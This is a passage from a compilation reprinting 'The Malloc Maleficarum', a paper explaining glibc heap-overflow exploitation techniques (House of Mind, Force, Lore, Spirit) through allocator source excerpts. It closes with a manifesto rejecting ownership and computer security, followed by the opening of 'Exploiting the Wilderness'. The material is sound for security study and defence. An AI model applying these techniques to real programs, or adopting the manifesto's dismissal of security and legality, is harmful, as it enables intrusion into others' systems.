a non-zero quantity it can be safely assumed that arena_get() will 

not try to create a new arena. In the public_mALLOc() wrapper this 

has the effect of setting ar_ptr to the new value of arena_key, the 

address of the designer's second chunk. In turn this value is 

passed to the internal function _int_malloc() along with the 

requested allocation size. 

 

Once execution passes to _int_malloc() there are two ways for the 

designer to proceed. The first is to use the fastbin allocation 

code: 

 

Void_t* 

_int_malloc(mstate av, size_t bytes) 

{ 

    INTERNAL_SIZE_T nb;               /* normalized request size */ 

    unsigned int    idx;              /* associated bin index */ 

    mfastbinptr*    fb;               /* associated fastbin */ 

    mchunkptr       victim;           /* inspected/selected chunk */ 

 

    checked_request2size(bytes, nb); 

 

    if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) { 

      long int idx = fastbin_index(nb); 



[8. The Malloc Maleficarum - Phantasmal Phantasmagoria] 

 

  Page 
274 

 
  

      fb = &(av->fastbins[idx]); 

      if ( (victim = *fb) != 0) { 

        if (fastbin_index (chunksize (victim)) != idx) 

          malloc_printerr (check_action, "malloc(): memory" 

            " corruption (fast)", chunk2mem (victim)); 

        *fb = victim->fd; 

        check_remalloced_chunk(av, victim, nb); 

        return chunk2mem(victim); 

      } 

    } 

 

The checked_request2size() macro simply converts the request into 

the absolute size of a memory chunk with data length of the 

requested size. Remember that av is pointing towards a designer 

controlled area of memory, and also that the forward pointer of 

this chunk has been corrupted by the fastbin code. If glibc malloc 

is compiled without thread statistics (which is the default), then 

p->fd of the designer's chunk corresponds to av->fastbins[0] of the 

designer's arena. For the purposes of this technique the use of av- 

>fastbins[0] must be avoided. This means that the request size must 

be greater than 8. 

 

Interestingly enough, if the absence of thread statistics is 

assumed, then av->max_fast corresponds to p->size. This has the 

effect of forcing nb to be less than the size of the designer's 

second chunk, which in the example provided was 2328. If this is 

not possible, the designer must use the unsorted_chunks/largebin 

technique that will be discussed shortly. 

 

By setting up a fake fastbin entry at av- 

>fastbins[fastbin_index(nb)] it is possible to return a chunk of 

memory that is actually on the stack. In order to pass the 

victimsize integrity test it is necessary to point the fake fastbin 

at a user controlled value. Specifically, the size of the victim 

chunk must have the same fastbin_index() as nb, so the fake fastbin 

must point to 4 bytes before the designer's value in order to have 

the right positioning for the call to chunksize(). 

 

Assuming that there is a designer controlled variable on the stack, 

the application will subsequently handle the returned area as if it 

were a normal memory chunk of the requested size. So if there is a 

saved return address in the "allocated" range, and if the designer 

can control what the application writes to this range, then it is 

possible to circumvent execution to an arbitrary location. 

 

If it is possible to trigger an appropriate malloc() with a request 

size greater than the size of the designer's second chunk, then it 

is better to use the unsorted_chunks code in _int_malloc() to cause 

an arbitrary memory overwrite. This technique does, however, 

require a greater amount of designer control in the second chunk, 

and further control of two areas of memory somewhere in the target 

process address space. To trigger the unsorted_chunks code at all 

the absolute request size must be larger than 512 (the maximum 

smallbin chunk size), and of course, must be greater than the fake 

arena's av->max_fast. Assuming it is, the unsorted_chunks code is 

reached: 

 

    for(;;) { 

      while ( (victim = unsorted_chunks(av)->bk) != 

unsorted_chunks(av)) { 

        bck = victim->bk; 
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        if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0) 

            || __builtin_expect (victim->size > av->system_mem, 0)) 

          malloc_printerr (check_action, "malloc(): memory" 

            " corruption", chunk2mem (victim)); 

 

        size = chunksize(victim); 

 

        if (in_smallbin_range(nb) && 

            bck == unsorted_chunks(av) && 

            victim == av->last_remainder && 

            (unsigned long)(size) > (unsigned long)(nb + MINSIZE)) { 

          ... 

        } 

 

        unsorted_chunks(av)->bk = bck; 

        bck->fd = unsorted_chunks(av); 

 

        if (size == nb) { 

          ... 

          return chunk2mem(victim); 

        } 

        ... 

 

There are quite a lot of things to consider here. Firstly, the 

unsorted_chunks() macro returns av->bins[0]. Since the designer 

controls av, the designer also controls the value of 

unsorted_chunks(). This means that victim can be set to an 

arbitrary address by creating a fake av->bins[0] value that points 

to an area of memory (called A) that is designer controlled. In 

turn, A->bk will contain the address that victim will be set to 

(called B). Since victim is at an arbitrary address B that can be 

designer controlled, the temporary variable bck can be set to an 

arbitrary address from B->bk. 

 

For the purposes of this technique, B->size should be equal to nb. 

This is not strictly necessary, but works well to pass the two 

victimsize integrity tests while also triggering the final 

condition shown above, which has the effect of ending the call to 

malloc(). 

 

Since it is possible to set bck to an arbitrary location, and since 

unsorted_chunks() returns the designer controlled area of memory A, 

the setting of bck->fd to unsorted_chunks() makes it possible to 

set any location in the address space to A. Redirecting execution 

is then a simple matter of setting bck to the address of a GOT or 

..dtors entry minus 8. This will redirect execution to A->prev_size, 

which can safely contain a near jmp to skip past the crafted value 

at A->bk. Similar to the fastbin allocation code the arbitrary 

address B is returned to the requesting application. 

 

[-------------------------------- 

 

          The House of Mind 

 

Perhaps the most useful and certainly the most general technique in 

the Malloc Maleficarum is the House of Mind. The House of Mind has 

the distinct advantage of causing a direct memory overwrite with 

just a single call to free(). In this sense it is the closest 

relative in the Malloc Maleficarum to the traditional unlink() 

technique. 
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The method used involves tricking the wrapper invoked by free(), 

called public_fREe(), into supplying the _int_free() internal 

function with a designer controlled arena. This can subsequently 

lead to an arbitrary memory overwrite. A call to free() actually 

invokes a wrapper called public_fREe(): 

 

void 

public_fREe(Void_t* mem) 

{ 

    mstate ar_ptr; 

    mchunkptr p;        /* chunk corresponding to mem */ 

    ... 

    p = mem2chunk(mem); 

    ... 

    ar_ptr = arena_for_chunk(p); 

    ... 

    _int_free(ar_ptr, mem); 

 

When memory is passed to free() it points to the start of the data 

portion of the "corresponding chunk". In an allocated state a chunk 

consists of the prev_size and size values and then the data section 

itself. The mem2chunk() macro is in charge of converting the 

supplied memory value into the corresponding chunk. This chunk is 

then passed to the arena_for_chunk() macro: 

 

#define HEAP_MAX_SIZE (1024*1024) /* must be a power of two */ 

 

#define heap_for_ptr(ptr) \ 

   ((heap_info *)((unsigned long)(ptr) & ~(HEAP_MAX_SIZE-1))) 

 

#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA) 

 

#define arena_for_chunk(ptr) \ 

   (chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena) 

 

The arena_for_chunk() macro is tasked with finding the appropriate 

arena for the chunk in question. If glibc malloc is compiled with 

USE_ARENAS (which is the default), then the code shown above is 

used. Clearly, if the NON_MAIN_ARENA bit in the size value of the 

chunk is not set, then ar_ptr will be set to the main_arena. 

 

However, since the designer controls the size value it is possible 

to control whether the chunk is treated as being in the main arena 

or not. This is what the chunk_non_main_arena() macro checks for. 

If the NON_MAIN_ARENA bit is set, then chunk_non_main_arena() 

returns positive and ar_ptr is set to heap_for_ptr(ptr)->ar_ptr. 

 

When a non-main heap is created it is aligned to a multiple of 

HEAP_MAX_SIZE. The first thing that goes into this heap is the 

heap_info structure. Most significantly, this structure contains an 

element called ar_ptr, the pointer to the arena for this heap. This 

is how the heap_for_ptr() macro functions, aligning the given chunk 

down to a multiple of HEAP_MAX_SIZE and taking the ar_ptr from the 

resulting heap_info structure. 

 

The House of Mind works by manipulating the heap so that the 

designer controls the area of memory that the overflowed chunk is 

aligned down to. If this can be achieved, an arbitrary ar_ptr value 

can be supplied to _int_free() and subsequently an arbitrary memory 

overwrite can be triggered. Manipulating the heap generally 
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involves forcing the application to repeatedly allocate memory 

until a designer controlled buffer is contained at a HEAP_MAX_SIZE 

boundary. 

 

In practice this alignment is necessary because chunks at low areas 

of the heap align down to an area of memory that is neither 

designer controlled nor mapped in to the address space. 

Fortunately, the amount of allocation that creates the correct 

alignment is not large. With the default HEAP_MAX_SIZE of 1024*1024 

an average of 512kb of padding will be required, with this figure 

never exceeding 1 megabyte. 

 

It should be noted that there is not a general method for 

triggering memory allocation as required by the House of Mind, 

rather the process is application specific. If a situation arises 

in which it is impossible to align a designer controlled chunk, 

then the House of Lore or Spirit should be considered. 

 

So, it is possible to hijack the heap_info structure used by the 

heap_for_ptr() macro, and thus supply an arbitrary value for ar_ptr 

which controls the arena used by _int_free(). At this stage the 

next question that arises is exactly what to do with ar_ptr. There 

are two options, each with their respective advantages and 

disadvantages. Each will be addressed in turn. 

 

Firstly, setting the ar_ptr to a sufficiently large area of memory 

that is under the control of the designer and subsequently using 

the unsorted chunk link code to cause a memory overwrite. 

Sufficiently large in this case means the size of the arena 

structure, which is 1856 bytes on a 32-bit system without 

THREAD_STATS enabled. The main difficulty in this method arises 

with the numerous integrity checks that are encountered. 

Fortunately, nearly every one of these tests use a value obtained 

from the designer controlled arena, which makes the checks 

considerably easier to manage. 

 

For the sake of brevity, the complete excerpt leading up to the 

unsorted chunk link code has been omitted. Instead, the following 

list of the conditions required to reach the code in question is 

provided. Note that both av and the size of the overflowed chunk 

are designer controlled values. 

 

     - The negative of the size of the overflowed chunk must 

       be less than the value of the chunk itself. 

     - The size of the chunk must not be less than av->max_fast. 

     - The IS_MMAPPED bit of the size cannot be set. 

     - The overflowed chunk cannot equal av->top. 

     - The NONCONTIGUOUS_BIT of av->max_fast must be set. 

     - The PREV_INUSE bit of the nextchunk (chunk + size) 

       must be set. 

     - The size of nextchunk must be greater than 8. 

     - The size of nextchunk must be less than av->system_mem 

     - The PREV_INUSE bit of the chunk must not be set. 

     - The nextchunk cannot equal av->top. 

     - The PREV_INUSE bit of the chunk after nextchunk 

       (nextchunk + nextsize) must be set 

 

If these conditions are met, then the following code is reached: 

 

     bck = unsorted_chunks(av); 

     fwd = bck->fd; 



[8. The Malloc Maleficarum - Phantasmal Phantasmagoria] 

 

  Page 
278 

 
  

     p->bk = bck; 

     p->fd = fwd; 

     bck->fd = p; 

     fwd->bk = p; 

 

In this case p is the address of the designer's overflowed chunk. 

The unsorted_chunks() macro returns av->bins[0] which is designer 

controlled. If the designer sets av->bins[0] to the address of a 

GOT or .dtors entry minus 8, then that entry (bck->fd) will be 

overwritten with the address of p. This address corresponds to the 

prev_size entry of the designer's overflowed chunk which can safely 

be used to branch past the corrupted size, fd and bk entries. 

 

The extensive list of conditions appear to make this method quite 

difficult to apply. In reality, the only conditions that may be a 

problem are those involving the nextchunk. This is because they 

largely depend on the application specific memory layout to handle. 

This is the only obvious disadvantage of the method. As it stands, 

the House of Mind is in a far better position than the House of 

Prime to handle such conditions due to the arbitrary nature of av- 

>system_mem. 

 

It should be noted that the last element of the arena structure 

that is actually required to reach the unsorted chunk link code is 

av->system_mem, but it is not terribly important what this value is 

so long as it is high. Thus if the conditions are right, it may be 

possible to use this method with only 312 bytes of designer 

controlled memory. However, even if there is not enough designer 

controlled memory for this method, the House of Mind may still be 

possible with the second method. 

 

The second method uses the fastbin code to cause a memory 

overwrite. The main advantage of this method is that it is not 

necessary to point ar_ptr at designer controlled memory, and that 

there are considerably less integrity checks to worry about. 

Consider the fastbin code: 

 

    if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) 

    { 

      if (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ 

           || __builtin_expect (chunksize (chunk_at_offset (p, size)) 

                                 >= av->system_mem, 0)) 

        { 

          errstr = "free(): invalid next size (fast)"; 

          goto errout; 

        } 

 

      set_fastchunks(av); 

      fb = &(av->fastbins[fastbin_index(size)]); 

      ... 

      p->fd = *fb; 

      *fb = p; 

    } 

 

The ultimate goal here is to set fb to the address of a GOT or 

..dtors entry, which subsequently gets set to the address of the 

designer's overflowed chunk. However, in order to reach the final 

line a number of conditions must still be met. Firstly, av- 

>max_fast must be large enough to trigger the fastbin code at all. 

Then the size of the nextchunk (p + size) must be greater than 8, 

while also being less than av->system_mem. 
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The tricky part of this method is positioning ar_ptr in a way such 

that both the av->max_fast element at (av + 4) and the av- 

>system_mem element at (av + 1848) are large enough. If a binary 

has a particularly small GOT table, then it is quite possible that 

the highest available large number for av->system_mem will result 

in an av->max_fast that is actually in the area of unmapped memory 

between the text and data segments. In practice this shouldn't 

occur very often, and if it does, then the stack may be used to a 

similar effect. 

 

For more information on the fastbin code, including a description 

of fastbin_index() that will help in positioning fb to a GOT or 

..dtors entry, consult the House of Prime. 

 

[-------------------------------- 

 

          The House of Force 

 

I first wrote about glibc malloc in 2004 with "Exploiting the 

Wilderness". Since the techniques developed in that text were some 

of the first to become obsolete, and since the Malloc Maleficarum 

was written in the spirit of continuation and progress, I feel 

obliged to include another attempt at exploiting the wilderness. 

This is the purpose of the House of Force. From "Exploiting the 

Wilderness": 

 

"The wilderness is the top-most chunk in allocated memory. It is 

similar to any normal malloc chunk - it has a chunk header followed 

by a variably long data section. The important difference lies in 

the fact that the wilderness, also called the top chunk, borders 

the end of available memory and is the only chunk that can be 

extended or shortened. This means it must be treated specially to 

ensure it always exists; it must be preserved." 

 

So the glibc malloc implementation treats the wilderness as a 

special case in calls to malloc(). Furthermore, the top chunk will 

realistically never be passed to a call to free() and will never 

contain application data. This means that if the designer can 

trigger a condition that only ever results in the overflow of the 

top chunk, then the House of Force is the only option (in the 

Malloc Maleficarum at least). 

 

The House of Force works by tricking the top code in to setting the 

wilderness pointer to an arbitrary value, which can result in an 

arbitrary chunk of data being returned to the requesting 

application. This requires two calls to malloc(). The major 

disadvantage of the House of Force is that the first call must have 

a completely designer controlled request size. The second call must 

simply be large enough to trigger the wilderness code, while the 

chunk returned must be (to some extent) designer controlled. 

 

The following is the wilderness code with some additional context: 

 

Void_t* 

_int_malloc(mstate av, size_t bytes) 

{ 

    INTERNAL_SIZE_T nb;               /* normalized request size */ 

    mchunkptr       victim;           /* inspected/selected chunk */ 

    INTERNAL_SIZE_T size;             /* its size */ 

    mchunkptr       remainder;        /* remainder from a split */ 
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    unsigned long   remainder_size;   /* its size */ 

    ... 

    checked_request2size(bytes, nb); 

    ... 

    use_top: 

      victim = av->top; 

      size = chunksize(victim); 

 

      if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { 

        remainder_size = size - nb; 

        remainder = chunk_at_offset(victim, nb); 

        av->top = remainder; 

        set_head(victim, nb | PREV_INUSE | 

                 (av != &main_arena ? NON_MAIN_ARENA : 0)); 

        set_head(remainder, remainder_size | PREV_INUSE); 

        check_malloced_chunk(av, victim, nb); 

        return chunk2mem(victim); 

      } 

 

The first goal of the House of Force is to overwrite the wilderness 

pointer, av->top, with an arbitrary value. In order to do this the 

designer must have control of the location of the remainder chunk. 

Assume that the existing top chunk has been overflowed resulting in 

the largest possible size (preferably 0xffffffff). This is done to 

ensure that even large values passed as an argument to malloc will 

trigger the wilderness code instead of trying to extend the heap. 

 

The checked_request2size() macro ensures that the requested value 

is less than -2*MINSIZE (by default -32), while also adding on 

enough room for the size and prev_size fields and storing the final 

value in nb. For the purposes of this technique the 

checked_request2size() macro is relatively unimportant. 

 

It was previously mentioned that the first call to malloc() in the 

House of Force must have a designer controlled argument. It can be 

seen that the value of remainder is obtained by adding the request 

size to the existing top chunk. Since the top chunk is not yet 

under the designer's control the request size must be used to 

position remainder to at least 8 bytes before a .GOT or .dtors 

entry, or any other area of memory that may subsequently be used by 

the designer to circumvent execution. 

 

Once the wilderness pointer has been set to the arbitrary remainder 

chunk, any calls to malloc() with a large enough request size to 

trigger the top chunk will be serviced by the designer's 

wilderness. Thus the only restriction on the new wilderness is that 

the size must be larger than the request that is triggering the top 

code. In the case of the wilderness being set to overflow a GOT 

entry this is never a problem. It is then simply a matter of 

finding an application specific scenario in which such a call to 

malloc() is used for a designer controlled buffer. 

 

The most important issue concerning the House of Force is exactly 

how to get complete control of the argument passed to malloc(). 

Certainly, it is extremely common to have at least some degree of 

control over this value, but in order to complete the House of 

Force, the designer must supply an extremely large and specifically 

crafted value. Thus it is unlikely to get a sufficient value out of 

a situation like: 

 

     buf = (char *) malloc(strlen(str) + 1); 
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Rather, an acceptable scenario is much more likely to be an integer 

variable passed as an argument to malloc() where the variable has 

previously been set by, for example, a designer controlled read() 

or atoi(). 

 

[-------------------------------- 

 

          The House of Lore 

 

The House of Lore came to me as I was reviewing the draft write-up 

of the House of Prime. When I first derived the House of Prime my 

main concern was how to leverage the particularly overwrite that a 

high av->max_fast in the fastbin code allowed. Upon reconsideration 

of the problem I realized that in my first take of the potential 

overwrite targets I had completely overlooked the possibility of 

corrupting a bin entry. 

 

As it turns out, it is not possible to leverage a corrupted bin 

entry in the House of Prime since av->max_fast is large and the bin 

code is never executed. However, during this process of elimination 

I realized that if a bin were to be corrupted when av->max_fast was 

not large, then it might be possible to control the return value of 

a malloc() request. 

 

At this stage I began to consider the application of bin corruption 

to a general malloc chunk overflow. The question was whether a 

linear overflow of a malloc chunk could result in the corruption of 

a bin. It turns out that the answer to this is, quite simply, yes 

it could. Furthermore, if the designer's ability to manipulate the 

heap is limited, or if none of the other Houses can be applied, 

then bin corruption of this type can in fact be very useful. 

 

The House of Lore works by corrupting a bin entry, which can 

subsequently lead to malloc() returning an arbitrary chunk. Two 

methods of bin corruption are presented here, corresponding to the 

overflow of both small and large bin entries. The general method 

involves overwriting the linked list data of a chunk previously 

processed by free(). In this sense the House of Lore is quite 

similar to the frontlink() technique presented in "Vudo Malloc 

Tricks". 

 

The conditions surrounding the House of Lore are quite unique. 

Fundamentally, the method targets a chunk that has already been 

processed by free(). Because of this it is reasonable to assume 

that the chunk will not be passed to free() again. This means that 

in order to leverage such an overflow only calls to malloc() can be 

used, a property shared only by the House of Force. The first 

method will use the smallbin allocation code: 

 

Void_t* 

_int_malloc(mstate av, size_t bytes) 

{ 

.... 

    checked_request2size(bytes, nb); 

 

    if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) { 

      ... 

    } 

 

    if (in_smallbin_range(nb)) { 
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      idx = smallbin_index(nb); 

      bin = bin_at(av,idx); 

 

      if ( (victim = last(bin)) != bin) { 

        if (victim == 0) /* initialization check */ 

          malloc_consolidate(av); 

        else { 

          bck = victim->bk; 

          set_inuse_bit_at_offset(victim, nb); 

          bin->bk = bck; 

          bck->fd = bin; 

          ... 

          return chunk2mem(victim); 

        } 

      } 

    } 

 

So, assuming that a call to malloc() requests more than av- 

>max_fast (default 72) bytes, the check for a "smallbin" chunk is 

reached. The in_smallbin_range() macro simply checks that the 

request is less than the maximum size of a smallbin chunk, which is 

512 by default. The smallbins are unique in the sense that there is 

a bin for every possible chunk size between av->max_fast and the 

smallbin maximum. This means that for any given smallbin_index() 

the resulting bin, if not empty, will contain a chunk to fit the 

request size. 

 

It should be noted that when a chunk is passed to free() it does 

not go directly in to its respective bin. It is first put on the 

"unsorted chunk" bin. If the next call to malloc() cannot be 

serviced by an existing smallbin chunk or the unsorted chunk 

itself, then the unsorted chunks are sorted in to the appropriate 

bins. For the purposes of the House of Lore, overflowing an 

unsorted chunk is not very useful. It is necessary then to ensure 

that the chunk being overflowed has previously been sorted into a 

bin by malloc(). 

 

Note that in order to reach the actual smallbin unlink code there 

must be at least one chunk in the bin corresponding to the 

smallbin_index() for the current request. Assume that a small chunk 

of data size N has previously been passed to free(), and that it 

has made its way into the corresponding smallbin for chunks of 

absolute size (N + 8). Assume that the designer can overflow this 

chunk with arbitrary data. Assume also that the designer can 

subsequently trigger a call to malloc() with a request size of N. 

 

If all of this is possible, then the smallbin unlink code can be 

reached. When a chunk is removed from the unsorted bin it is put at 

the front of its respective small or large bin. When a chunk is 

taken off a bin, such as during the smallbin unlink code, it is 

taken from the end of the bin. This is what the last() macro does, 

find the last entry in the requested bin. So, effectively the 

"victim" chunk in the smallbin unlink code is taken from bin->bk. 

This means that in order to reach the designer's victim chunk it 

may be necessary to repeat the N sized malloc() a number of times. 

 

It should be stressed that the goal of the House of Lore to control 

the bin->bk value, but at this stage only victim->bk is controlled. 

So, assuming that the designer can trigger a malloc() that results 

in an overflowed victim chunk being passed to the smallbin unlink 

code, the designer (as a result of the control of victim->bk) 
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controls the value of bck. Since bin->bk is subsequently set to 

bck, bin->bk can be arbitrarily controlled. The only condition to 

this is that bck must point to an area of writable memory due to 

bck->fd being set at the final stage of the unlinking process. 

 

The question then lies in how to leverage this smallbin corruption. 

Since the malloc() call that the designer used to gain control of 

bin->bk immediately returns the victim chunk to the application, at 

least one more call to malloc() with the same request size N is 

needed. Since bin->bk is under the designer's control so is 

last(bin), and thus so is victim. The only thing preventing an 

arbitrary victim chunk being returned to the application is the 

fact that bck, set from victim->bck, must point to writable memory. 

 

This rules out pointing the victim chunk at a GOT or .dtors entry. 

Instead, the designer must point victim to a position on the stack 

such that victim->bk is a pointer to writable memory yet still 

close enough to a saved return address such that it can be 

overwritten by the application's general use of the chunk. 

Alternatively, an application specific approach may be taken that 

targets the use of function pointers. Whichever method used, the 

arbitrary malloc() chunk must be designer controlled to some extent 

during its use by the application. 

 

For the House of Lore, the only other interesting situation is when 

the overflowed chunk is large. In this context large means anything 

bigger than the maximum smallbin chunk size. Again, it is necessary 

for the overflowed chunk to have previously been processed by 

free() and to have been put into a largebin by malloc(). 

 

The general method of using largebin corruption to return an 

arbitrary chunk is similar to the case of a smallbin in the sense 

that the initial bin corruption occurs when an overflowed victim 

chunk is handled by the largebin unlink code, and that a subsequent 

large request will use the corrupted bin to return an arbitrary 

chunk. However, the largebin code is significantly more complex is 

comparison. This means that the conditions required to cause and 

leverage a bin corruption are slightly more restrictive. 

 

The entire largebin implementation is much too large to present in 

full, so a description of the conditions that cause the largebin 

unlink code to be executed will have to suffice. If the designer's 

overflowed chunk of size N is in a largebin, then a subsequent 

request to allocate N bytes will trigger a block of code that 

searches the corresponding bin for an available chunk, which will 

eventually find the chunk that was overflowed. However, this 

particular block of code uses the unlink() macro to remove the 

designer's chunk from the bin. Since the unlink() macro is no 

longer an interesting target, this situation must be avoided. 

 

So in order to corrupt a largebin a request to allocate M bytes is 

made, such that 512 < M < N. If there are no appropriate chunks in 

the bin corresponding to requests of size M, then glibc malloc 

iterates through the bins until a sufficiently large chunk is 

found. If such a chunk is found, then the following code is used: 

 

    victim = last(bin); 

    .. 

    size = chunksize(victim); 

    remainder_size = size - nb; 
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    bck = victim->bk; 

    bin->bk = bck; 

    bck->fd = bin; 

 

    if (remainder_size < MINSIZE) { 

      set_inuse_bit_at_offset(victim, size); 

      ... 

      return chunk2mem(victim); 

    } 

 

If the victim chunk is the designer's overflowed chunk, then the 

situation is almost exactly equivalent to the smallbin unlink code. 

If the designer can trigger enough calls to malloc() with a request 

of M bytes so that the overflowed chunk is used here, then the bin- 

>bk value can be set to an arbitrary value and any subsequent call 

to malloc() of size Q (512 < Q < N)  that tries to allocate a chunk 

from the bin that has been corrupted will result in an arbitrary 

chunk being returned to the application. 

 

There are only two conditions. The first is exactly the same as the 

case of smallbin corruption, the bk pointer of the arbitrary chunk 

being returned to the application must point to writable memory (or 

the setting of bck->fd will cause a segmentation fault). 

 

The other condition is not obvious from the limited code that has 

been presented above. If the remainder_size value is not less than 

MINSIZE, then glibc malloc attempts to split off a chunk at victim 

+ nb. This includes calling the set_foot() macro with victim + nb 

and remainder_size as arguments. In effect, this tries to set 

victim + nb + remainder_size to remainder_size. If the 

chunksize(victim) (and thus remainder_size) is not designer 

controlled, then set_foot() will likely try to set an area of 

memory that isn't mapped in to the address space (or is read-only). 

 

So, in order to prevent set_foot() from crashing the process the 

designer must control both victim->size and victim->bk of the 

arbitrary victim chunk that will be returned to the application. If 

this is possible, then it is advisable to trigger the condition 

shown in the code above by forcing remainder_size to be less than 

MINSIZE. This is recommended because the condition minimizes the 

amount of general corruption caused, simply setting the inuse bit 

at victim + size and then returning the arbitrary chunk as desired. 

 

[-------------------------------- 

 

          The House of Spirit 

 

The House of Spirit is primarily interesting because of the nature 

of the circumstances leading to its application. It is the only 

House in the Malloc Maleficarum that can be used to leverage both a 

heap and stack overflow. This is because the first step is not to 

control the header information of a chunk, but to control a pointer 

that is passed to free(). Whether this pointer is on the heap or 

not is largely irrelevant. 

 

The general idea involves overwriting a pointer that was previously 

returned by a call to malloc(), and that is subsequently passed to 

free(). This can lead to the linking of an arbitrary address into a 

fastbin. A further call to malloc() can result in this arbitrary 

address being used as a chunk of memory by the application. If the 

designer can control the applications use of the fake chunk, then 
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it is possible to overwrite execution control data. 

 

Assume that the designer has overflowed a pointer that is being 

passed to free(). The first problem that must be considered is 

exactly what the pointer should be overflowed with. Keep in mind 

that the ultimate goal of the House of Spirit is to allow the 

designer to overwrite some sort of execution control data by 

returning an arbitrary chunk to the application. Exactly what 

"execution control data" is doesn't particularly matter so long as 

overflowing it can result in execution being passed to a designer 

controlled memory location. The two most common examples that are 

suitable for use with the House of Spirit are function pointers and 

pending saved return addresses, which will herein be referred to as 

the "target". 

 

In order to successfully apply the House of Spirit it is necessary 

to have a designer controlled word value at a lower address than 

the target. This word will correspond to the size field of the 

chunk header for the fakechunk passed to free(). This means that 

the overflowed pointer must be set to the address of the designer 

controlled word plus 4. Furthermore, the size of the fakechunk must 

be must be located no more than 64 bytes away from the target. This 

is because the default maximum data size for a fastbin entry is 64, 

and at least the last 4 bytes of data are required to overwrite the 

target. 

 

There is one more requirement for the layout of the fakechunk data 

which will be described shortly. For the moment, assume that all of 

the above conditions have been met, and that a call to free() is 

made on the suitable fakechunk. A call to free() is handled by a 

wrapper function called public_fREe(): 

 

void 

public_fREe(Void_t* mem) 

{ 

    mstate ar_ptr; 

    mchunkptr p;          /* chunk corresponding to mem */ 

    ... 

    p = mem2chunk(mem); 

    if (chunk_is_mmapped(p)) 

    { 

      munmap_chunk(p); 

      return; 

    } 

    ... 

    ar_ptr = arena_for_chunk(p); 

    ... 

    _int_free(ar_ptr, mem); 

 

In this situation mem is the value that was originally overflowed 

to point to a fakechunk. This is converted to the "corresponding 

chunk" of the fakechunk's data, and passed to arena_for_chunk() in 

order to find the corresponding arena. In order to avoid special 

treatment as an mmap() chunk, and also to get a sensible arena, the 

size field of the fakechunk header must have the IS_MMAPPED and 

NON_MAIN_ARENA bits cleared. To do this, the designer can simply 

ensure that the fake size is a multiple of 8. This would mean the 

internal function _int_free() is reached: 

 

void_int_free(mstate av, Void_t* mem){ 

    mchunkptr       p;           /* chunk corresponding to mem */ 
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    INTERNAL_SIZE_T size;        /* its size */ 

    mfastbinptr*    fb;          /* associated fastbin */ 

    ... 

    p = mem2chunk(mem); 

    size = chunksize(p); 

    ... 

    if ((unsigned long)(size) <= (unsigned long)(av->max_fast)) 

    { 

      if (chunk_at_offset (p, size)->size <= 2 * SIZE_SZ 

          || __builtin_expect (chunksize (chunk_at_offset (p, size)) 

                                          >= av->system_mem, 0)) 

        { 

          errstr = "free(): invalid next size (fast)"; 

          goto errout; 

        } 

      ... 

      fb = &(av->fastbins[fastbin_index(size)]); 

      ... 

      p->fd = *fb; 

      *fb = p; 

    } 

 

This is all of the code in free() that concerns the House of 

Spirit. The designer controlled value of mem is again converted to 

a chunk and the fake size value is extracted. Since size is 

designer controlled, the fastbin code can be triggered simply by 

ensuring that it is less than av->max_fast, which has a default of 

64 + 8. The final point of consideration in the layout of the 

fakechunk is the nextsize integrity tests. 

 

Since the size of the fakechunk has to be large enough to encompass 

the target, the size of the nextchunk must be at an address higher 

than the target. The nextsize integrity tests must be handled for 

the fakechunk to be put in a fastbin, which means that there must 

be yet another designer controlled value at an address higher than 

the target. 

 

The exact location of the designer controlled values directly 

depend on the size of the allocation request that will subsequently 

be used by the designer to overwrite the target. That is, if an 

allocation request of N bytes is made (such that N <= 64), then the 

designer's lower value must be within N bytes of the target and 

must be equal to (N + 8). This is to ensure that the fakechunk is 

put in the right fastbin for the subsequent allocation request. 

Furthermore, the designer's upper value must be at (N + 8) bytes 

above the lower value to ensure that the nextsize integrity tests 

are passed. 

 

If such a memory layout can be achieved, then the address of this 

"structure" will be placed in a fastbin. The code for the 

subsequent malloc() request that uses this arbitrary fastbin entry 

is simple and need not be reproduced here. As far as _int_malloc() 

is concerned the fake chunk that it is preparing to return to the 

application is perfectly valid. Once this has occurred it is simply 

up to the designer to manipulate the application in to overwriting 

the target. 

 

[-------------------------------- 

 

          The House of Chaos 
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Virtuality is a dichotomy between the virtual adept and 

information, where the virtual adept signifies the infinite 

potential of information, and information is a finite manifestation 

of the infinite potential. The virtual adept is the conscious 

element of virtuality, the nature of which is to create and spread 

information. This is all that the virtual adept knows, and all that 

the virtual adept is concerned with. 

 

When you talk to a very knowledgeable and particularly creative 

person, then you may well be talking to a hacker. However, you will 

never talk to a virtual adept. The virtual adept has no physical 

form, it exists purely in the virtual. The virtual adept may be 

contained within the material, contained within a person, but the 

adept itself is a distinct and entirely independent consciousness. 

 

Concepts of ownership have no meaning to the virtual adept. All 

information belongs to virtuality, and virtuality alone. Because of 

this, the virtual adept has no concept of computer security. 

Information is invoked from virtuality by giving a request. In 

virtuality there is no level of privilege, no logical barrier 

between systems, no point of illegality. There is only information 

and those that can invoke it. 

 

The virtual adept does not own the information it creates, and thus 

has no right or desire to profit from it. The virtual adept exists 

purely to manifest the infinite potential of information in to 

information itself, and to minimize the complexity of an 

information request in a way that will benefit all conscious 

entities. What is not information is not consequential to the 

virtual adept, not money, not fame, not power. 

 

                        Am I a hacker? No. 

                        I am a student of virtuality. 

                        I am the witch malloc, 

                        I am the cult of the otherworld, 

                        and I am the entropy. 

                        I am Phantasmal Phantasmagoria, 

                        and I am a virtual adept. 

 

[-------------------------------- 
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- ---- Introduction ------------------ 

 

- ---- Prelude 

 

This paper outlines a method of exploiting heap overflows on dlmalloc 

based glibc 2.2 systems. In situations where an overflowable buffer is 

contiguous to the wilderness it is possible to acheive the aa4bmo primitive 

[1]. 

 

This article is written with an x86/Linux target in mind. It is assumed 

the reader is familiar with the dlmalloc chunk format and the traditional 

methods of exploiting dlmalloc based overflows [2][3]. It may be desired 

to obtain a copy of the complete dlmalloc source code from glibc itself, 

 as excerpts are simplified and may lose a degree of context. 

 

- ---- The wilderness 

 

The wilderness is the top-most chunk in allocated memory. It is similar 

to any normal malloc chunk - it has a chunk header followed by a variably 

long data section. The important difference lies in the fact that the 

wilderness, also called the top chunk, borders the end of available memory 

and is the only chunk that can be extended or shortened. This means it 

